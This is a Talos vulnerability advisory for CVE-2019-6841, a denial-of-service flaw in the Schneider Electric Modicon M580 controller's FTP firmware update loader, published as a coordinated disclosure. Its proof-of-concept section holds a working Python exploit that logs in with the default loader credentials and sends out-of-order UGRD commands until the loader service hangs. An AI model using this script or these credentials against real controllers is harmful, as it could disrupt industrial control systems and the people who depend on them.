Talos Vulnerability Report

TALOS-2019-0822

Schneider Electric Modicon M580 FTP firmware update loader service denial-of-service vulnerability

October 8, 2019
CVE Number

CVE-2019-6841

Summary

An exploitable denial-of-service vulnerability exists in the FTP firmware update service function of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.80. A specially ordered set of FTP commands can cause the FTP loader service to enter a waiting state, resulting in an inability to update device firmware via FTP. An attacker can use default credentials to send commands that trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.80

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

4.9 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric's Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as UMAS.

When conducting a firmware upgrade of the Modicon M580 there are a few options to choose from, including FTP. During this process, the custom FTP command UGRD can be used to initiate the upgrade on a specified flash channel and index as long as the directory and file structure is configured correctly. When this command is sent, the upgrade loader service switches from an 'OK' state to a 'not ready' state. During a legitimate firmware upgrade process, the loader service will only stay in this 'not ready' state while the upgrade is occurring.

If the directory and file structure is not configured correctly and the UGRD FTP command is sent, the loader service will still switch from its 'OK' state to a 'not ready' state. In this case the service will not switch back to 'OK' because the update does not get completed. When this occurs, the device will no longer be able to conduct a firmware update via FTP.

At this time the only method that we have discovered to move the loader service back into the 'OK' state is to press the physical reset button on the device.

Exploit Proof of Concept

import socket

def sendCommand(s, cmd):
    modCmd = "{}\r\n".format(cmd)
    s.send(modCmd)
    resp = s.recv(1024)
    return resp

def main():
    # general configuration
    rhost = "192.168.10.1"
    rport = 21
    ftpuser = "loader"
    ftppass = "fwdownload"

    # socket setup
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))
    s.recv(1024)

    # login
    usercmd = "USER {}".format(ftpuser)
    sendCommand(s, usercmd)
    passcmd = "PASS {}".format(ftppass)
    sendCommand(s, passcmd)

    # trigger an out of order upgrade
    resp = sendCommand(s, "UGRD 254.254.10.0")
    if "ugrd OK" in resp:
        # send another upgrade request to check for success
        resp = sendCommand(s, "UGRD 254.254.10.0")
        if "ugrd KO" in resp:
            print("Success")
        else:
            print("ERROR: An unexpected error has occurred. Use the phyical 'Reset' button to fix the issue.")
    else:
        print("ERROR: The loader service appears to already be busy. If this is not expected, use the physical 'Reset' button to fix the issue.")

    s.close()

if __name__ == '__main__':
    main()

Timeline

2019-05-08 - Vendor Disclosure
2019-09-10 - Disclosure date extended
2019-10-09 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos.